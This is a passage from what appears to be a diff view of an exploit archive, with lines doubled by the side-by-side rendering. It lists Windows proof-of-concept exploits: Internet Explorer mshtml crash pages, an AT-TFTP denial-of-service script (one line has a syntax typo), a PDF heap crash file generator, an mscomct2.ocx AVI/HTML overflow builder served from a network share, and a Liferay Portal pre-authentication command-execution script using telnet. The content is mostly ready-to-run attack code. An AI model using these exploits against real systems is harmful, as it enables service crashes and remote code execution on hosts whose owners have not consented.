.text:76235683 lea ecx, [eax+10h] .text:76235683 lea ecx, [eax+10h]
.text:76235686 mov eax, [ecx] ; <(=--- oops .text:76235686 mov eax, [ecx] ; <(=--- oops
.text:76235688 call dword ptr [eax+0Ch] .text:76235688 call dword ptr [eax+0Ch]
.text:7623568B mov ecx, [eax] .text:7623568B mov ecx, [eax]
The following code below will reproduce this issue. Please note that you must have J2SE Runtime Environment installed which is located here: The following code below will reproduce this issue. Please note that you must have J2SE Runtime Environment installed which is located here:
http://www.java.com/en/download/windows_automatic.jsp http://www.java.com/en/download/windows_automatic.jsp
--> -->
<META HTTP-EQUIV="Refresh" content="0;URL=http://www.milw0rm.com/exploit.php?id=1276"> <META HTTP-EQUIV="Refresh" content="0;URL=http://www.milw0rm.com/exploit.php?id=1276">
<FRAMESET > <FRAMESET >
<FRAME SRC=AAAA > <FRAME SRC=AAAA >
<EMBED NAME=SP STYLE= > <EMBED NAME=SP STYLE= >
<APPLET HSPACE=file:\\ > <APPLET HSPACE=file:\\ >
<!-- <!--
Vendor Status: Vendor Status:
Ask Microsoft. Ask Microsoft.
Discovered by: Discovered by:
Tom Ferris Tom Ferris
Related Links: Related Links:
www.security-protocols.com/poc/sp-x20.html www.security-protocols.com/poc/sp-x20.html
www.security-protocols.com/advisory/sp-x20-advisory.txt www.security-protocols.com/advisory/sp-x20-advisory.txt
www.evolvesecurity.com www.evolvesecurity.com
// commented the advisory for exploit testing /str0ke --> // commented the advisory for exploit testing /str0ke -->
# milw0rm.com [2005-10-28] # milw0rm.com [2005-10-28]

6
platforms/windows/dos/1389.html
View file

@ -1,3 +1,3 @@
<table datasrc="."> <table datasrc=".">
# milw0rm.com [2005-12-27] # milw0rm.com [2005-12-27]

42
platforms/windows/dos/1394.html
View file

@ -1,21 +1,21 @@
<!-- <!--
------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------
Internet Explorer Version 6.0.2900.2180.xpsp_sp2 mshtml.dll <div> Denial of Service exploit Internet Explorer Version 6.0.2900.2180.xpsp_sp2 mshtml.dll <div> Denial of Service exploit
by rgod by rgod
site: http://rgod.altervista.org site: http://rgod.altervista.org
mail: retrogod at aliceposta it mail: retrogod at aliceposta it
original poc: http://rgod.altervista.org/ie_6_sp2_crash.html original poc: http://rgod.altervista.org/ie_6_sp2_crash.html
------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------
--> -->
<head> <head>
<style><!-- <style><!--
#page div p:first-child:first-letter { #page div p:first-child:first-letter {
border-bottom: 2px ridge #F5DEB3; border-bottom: 2px ridge #F5DEB3;
} }
//--> //-->
</style> </style>
</head> </head>
<body><div id="page"><div><p><strong>suntzu</strong></p> <body><div id="page"><div><p><strong>suntzu</strong></p>
# milw0rm.com [2005-12-29] # milw0rm.com [2005-12-29]

6
platforms/windows/dos/1598.html
View file

File diff suppressed because one or more lines are too long

38
platforms/windows/dos/1604.html
View file

@ -1,19 +1,19 @@
<!-- <!--
Stelian Ene: Stelian Ene:
I can't find any info on this delicious IE bug, but it seems to be publicly known: I can't find any info on this delicious IE bug, but it seems to be publicly known:
It will badly access a (virtual?) pointer table, making EIP to jump at a random It will badly access a (virtual?) pointer table, making EIP to jump at a random
address. This has various effects on the system I've tested with, including address. This has various effects on the system I've tested with, including
crashing. It works on these versions of mshtml.dll: crashing. It works on these versions of mshtml.dll:
XP SP2: 6.0.2900.2802 - latest XP SP2: 6.0.2900.2802 - latest
WS2003: 6.0.3790.0 WS2003: 6.0.3790.0
--> -->
<input type="checkbox" id='c'> <input type="checkbox" id='c'>
<script> <script>
r=document.getElementById("c"); r=document.getElementById("c");
a=r.createTextRange(); a=r.createTextRange();
</script> </script>
# milw0rm.com [2006-03-22] # milw0rm.com [2006-03-22]

80
platforms/windows/dos/3272.html
View file

@ -1,40 +1,40 @@
<!-- <!--
+ Title: Microsoft Internet Explorer Malformed HTML Null Pointer Dereference Vulnerability (mshtml.dll) (0-day) + Title: Microsoft Internet Explorer Malformed HTML Null Pointer Dereference Vulnerability (mshtml.dll) (0-day)
+ Bug discovered & exploit coded by AmesianX in powerhacker.net (YoungHo Park - amesianx@gmail.com) + Bug discovered & exploit coded by AmesianX in powerhacker.net (YoungHo Park - amesianx@gmail.com)
+ Critical: Critical + Critical: Critical
+ Impact: MS Internet Explorer 6 -> Crash (Denial of Service) + Impact: MS Internet Explorer 6 -> Crash (Denial of Service)
+ Where: From remote + Where: From remote
+ Tested Operating System: Windows XP SP2 FULL PATCHED (Korean Language) + Tested Operating System: Windows XP SP2 FULL PATCHED (Korean Language)
Windows 2000 Advanced Server (Korean Language) Windows 2000 Advanced Server (Korean Language)
+ Tested Software: Microsoft Internet Explorer Ver.6.0.2800.1106;SP1 (Windows 2000 Advanced Server) + Tested Software: Microsoft Internet Explorer Ver.6.0.2800.1106;SP1 (Windows 2000 Advanced Server)
Microsoft Internet Explorer Ver.6.0.2900.2180.xpsp.050928-1517;SP2 (Windows XP Pro) Microsoft Internet Explorer Ver.6.0.2900.2180.xpsp.050928-1517;SP2 (Windows XP Pro)
+ Solution: Not Patched (zero-day) + Solution: Not Patched (zero-day)
+ Description: + Description:
The following bug was tested on the latest version of Internet Explorer 6 on a fully-patched The following bug was tested on the latest version of Internet Explorer 6 on a fully-patched
Windows XP SP2 system. this bug will crash when executing a 'for' scripts. Windows XP SP2 system. this bug will crash when executing a 'for' scripts.
+ The following proof-of-concept is also available: + The following proof-of-concept is also available:
http://www.powerhacker.net/exploit/IE_NULL_CRASH.html http://www.powerhacker.net/exploit/IE_NULL_CRASH.html
--> -->
<html> <html>
<head> <head>
<title> AmesianX, RC_No1 in powerhacker.net (amesianx@gmail.com, RC_No1@gmail.com)</title> <title> AmesianX, RC_No1 in powerhacker.net (amesianx@gmail.com, RC_No1@gmail.com)</title>
</head> </head>
<body> <body>
<script language='javascript'> <script language='javascript'>
var data = document['getElementById']; var data = document['getElementById'];
for(var key in data); for(var key in data);
</script> </script>
</body> </body>
</html> </html>
# milw0rm.com [2007-02-05] # milw0rm.com [2007-02-05]

38
platforms/windows/dos/35654.py Executable file
View file

@ -0,0 +1,38 @@
source: http://www.securityfocus.com/bid/47561/info
AT-TFTP is prone to a remote denial-of-service vulnerability.
Successfully exploiting this issue allows remote attackers to crash the affected application, denying service to legitimate users.
AT-TFTP 1.8 is affected; other versions may also be vulnerable.
#!/usr/bin/python
##############################################################################
# Exploit : http://secpod.org/blog/?p=XXXXXXXXXXXXXXXXXXXXXXXXX
# http://secpod.org/wintftp_dos_poc.py
# Reference :
# Author : Antu Sanadi from SecPod Technologies (www.secpod.com)
#
# Exploit will crash AT-TFTP Server v1.8 Service
# Tested against AT-TFTP Server v1.8 server
##############################################################################
import socket
import sys
host = '127.0.0.1'
port = 69
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
print "socket() failed"
sys.exit(1)
addr = (host,port)1
data ='\x00\x01\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x62\x6f\x6f' +\
'\x74\x2e\x69\x6e\x69\x00\x6e\x65\x74\x61\x73\x63\x69\x69\x00'
s.sendto(data, (host, port))

46
platforms/windows/dos/35656.pl Executable file
View file

@ -0,0 +1,46 @@
source: http://www.securityfocus.com/bid/47571/info
eXPert PDF is prone to a heap-based buffer-overflow vulnerability because it fails to properly bounds check user-supplied data before copying it into an insufficiently sized buffer.
An attacker could exploit this issue to execute arbitrary code in the context of the affected application. Failed exploit attempts will likely result in denial-of-service conditions.
#!/usr/bin/perl
sub logo {
print STDERR << "EOF";
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : 1337day.com 0
1 [+] Support e-mail : submit[at]1337day.com 1
0 0
1 ######################################### 1
0 I'm KedAns-Dz member from Inj3ct0r Team 1
1 ######################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
EOF
}
# ---------
# eXPert PDF Editor 7 Professional Heap Proof Of Concept Exploit
# Author : KedAns-Dz <ked-h@hotmail.com || ked-h@exploit-id.com>
# special thanks to : Inj3ct0r Team + exploit-id Team
# ---------
# Target : eXPert PDF Editor v7.0.880.0
# Tested in Windows XP sp3 France
# Creating The Bad File .PJ And => Bo0M !
# Heap 0x0174EC24 in 'vspdfeditor140.bpl' . addres 00000008
my $PoC = "\x4b\x45\x44\x41\x4e\x53"; # NULL Heap PoC
open (FILE,">> KedAns.pj"); # Bad File Here
print FILE $PoC;
close (FILE);
# KedAns-Dz | [D] HaCkerS-StreeT-Team [Z] |!| http://twitter.com/kedans

6
platforms/windows/dos/366.pl
View file

@ -63,6 +63,6 @@ return $l;
############################# #############################
# End code # End code
############################# #############################
# milw0rm.com [2004-07-24] # milw0rm.com [2004-07-24]

6
platforms/windows/dos/376.html
View file

@ -1,5 +1,5 @@
<center><a href=::%7b>Right Click aOn Me And Click "Save Target As"</a> <center><a href=::%7b>Right Click aOn Me And Click "Save Target As"</a>
// milw0rm.com [2004-08-04] // milw0rm.com [2004-08-04]

72
platforms/windows/dos/7431.pl
View file

@ -1,36 +1,36 @@
#!/usr/bin/perl #!/usr/bin/perl
# Microsoft Visual Basic ActiveX Controls mscomct2.ocx Animation Object Buffer Overflow (CVE-2008-4255) PoC # Microsoft Visual Basic ActiveX Controls mscomct2.ocx Animation Object Buffer Overflow (CVE-2008-4255) PoC
# You'll need Debugging Tools for Windows http://www.microsoft.com/whdc/devtools/debugging/default.mspx # You'll need Debugging Tools for Windows http://www.microsoft.com/whdc/devtools/debugging/default.mspx
# /JA # /JA
# Come to FRHACK! # Come to FRHACK!
# www.frhack.org # www.frhack.org
print "\nMicrosoft Visual Basic ActiveX Controls mscomct2.ocx Animation Object Buffer Overflow (CVE-2008-4255) PoC\n"; print "\nMicrosoft Visual Basic ActiveX Controls mscomct2.ocx Animation Object Buffer Overflow (CVE-2008-4255) PoC\n";
print "Generating malicious .AVI file\n"; print "Generating malicious .AVI file\n";
print "This file should be served via an UNC path\n"; print "This file should be served via an UNC path\n";
print "[->] Building evil.avi\n"; print "[->] Building evil.avi\n";
my $shellcode = "http://metasploit.com"; my $shellcode = "http://metasploit.com";
$FileHeader = $FileHeader =
"\x52\x49\x46\x46\x2C\x08\x00\x00\x41\x56\x49\x20\x73\x74\x72\x68\x10\x00\x00\x00\x76\x69\x64\x73\x20\x20\x20\x20\x00\x00\x00\x00". "\x52\x49\x46\x46\x2C\x08\x00\x00\x41\x56\x49\x20\x73\x74\x72\x68\x10\x00\x00\x00\x76\x69\x64\x73\x20\x20\x20\x20\x00\x00\x00\x00".
"\x00\x00\x00\x00\x73\x74\x72\x66\x00\x08\x00\x00\x28\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; "\x00\x00\x00\x00\x73\x74\x72\x66\x00\x08\x00\x00\x28\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
open(my $poc, "> evil.avi"); open(my $poc, "> evil.avi");
print $poc $FileHeader; print $poc $FileHeader;
close($poc); close($poc);
print "[->] evil.avi generated\n"; print "[->] evil.avi generated\n";
print "[->] Building evil.html\n"; print "[->] Building evil.html\n";
$EvilHTML = $EvilHTML =
"<html><head></head><body><object id='evil' classid='clsid:B09DE715-87C1-11D1-8BE3-0000F8754DA1'><param name='AutoPlay' value='True'></object>". "<html><head></head><body><object id='evil' classid='clsid:B09DE715-87C1-11D1-8BE3-0000F8754DA1'><param name='AutoPlay' value='True'></object>".
"<script language=javascript>evil.Open('\\\\192.168.0.1\\share\\evil.avi');</script></body></html>"; "<script language=javascript>evil.Open('\\\\192.168.0.1\\share\\evil.avi');</script></body></html>";
open(my $poc, "> evil.html"); open(my $poc, "> evil.html");
print $poc $EvilHTML; print $poc $EvilHTML;
close($poc); close($poc);
print "[->] evil.html generated\n"; print "[->] evil.html generated\n";
# milw0rm.com [2008-12-12] # milw0rm.com [2008-12-12]

6
platforms/windows/local/927.c
View file

@ -276,6 +276,6 @@ fclose(filename_mdb);
printf("Malformed .mdb file created.\n"); printf("Malformed .mdb file created.\n");
printf("Now open with MSAccess.\n"); printf("Now open with MSAccess.\n");
return 0; return 0;
} }
// milw0rm.com [2005-04-11] // milw0rm.com [2005-04-11]

6
platforms/windows/local/929.py
View file

@ -219,6 +219,6 @@ mdb += "\x00" * (94208 -len(mdb))
fileOut = open(sys.argv[3],"wb") fileOut = open(sys.argv[3],"wb")
fileOut.write(mdb) fileOut.write(mdb)
fileOut.close() fileOut.close()
# milw0rm.com [2005-04-12] # milw0rm.com [2005-04-12]

6
platforms/windows/local/951.py
View file

@ -210,6 +210,6 @@ mdb += "\x00" * (94208 -len(mdb))
fileOut = open(sys.argv[3],"wb") fileOut = open(sys.argv[3],"wb")
fileOut.write(mdb) fileOut.write(mdb)
fileOut.close() fileOut.close()
# milw0rm.com [2005-04-22] # milw0rm.com [2005-04-22]

25
platforms/windows/remote/35652.sh Executable file
View file

@ -0,0 +1,25 @@
#!/bin/sh
# Exploit title: Liferay Portal 7.0 RCE
# Date: 11/16/2014
# Exploit author: drone (@dronesec)
# Vendor homepage: http://www.liferay.com/
# Software link: http://downloads.sourceforge.net/project/lportal/Liferay%20Portal/7.0.0%20M2/liferay-portal-tomcat-7.0-ce-m2-20141017162509960.zip
# Version: 7.0.0/7.0.1/7.0.2
# Fixed in: 7.0.3
# Tested on: Windows 7
# Pre-auth command injection using an exposed Apache Felix,
# exposed by default on all Liferay Portal 7.0 installs.
#
# ./liferay_portal7.sh 192.168.1.1 "cmd.exe /C calc.exe"
#
(echo open $1 11311
sleep 1
echo system:getproperties
sleep 1
echo exec \"$2\"
sleep 1
) | telnet

6
platforms/windows/remote/868.cpp
View file

@ -83,6 +83,6 @@ int main(int argc, char* argv[])
fclose (cssfile); fclose (cssfile);
return 0; return 0;
} }
// milw0rm.com [2005-03-09] // milw0rm.com [2005-03-09]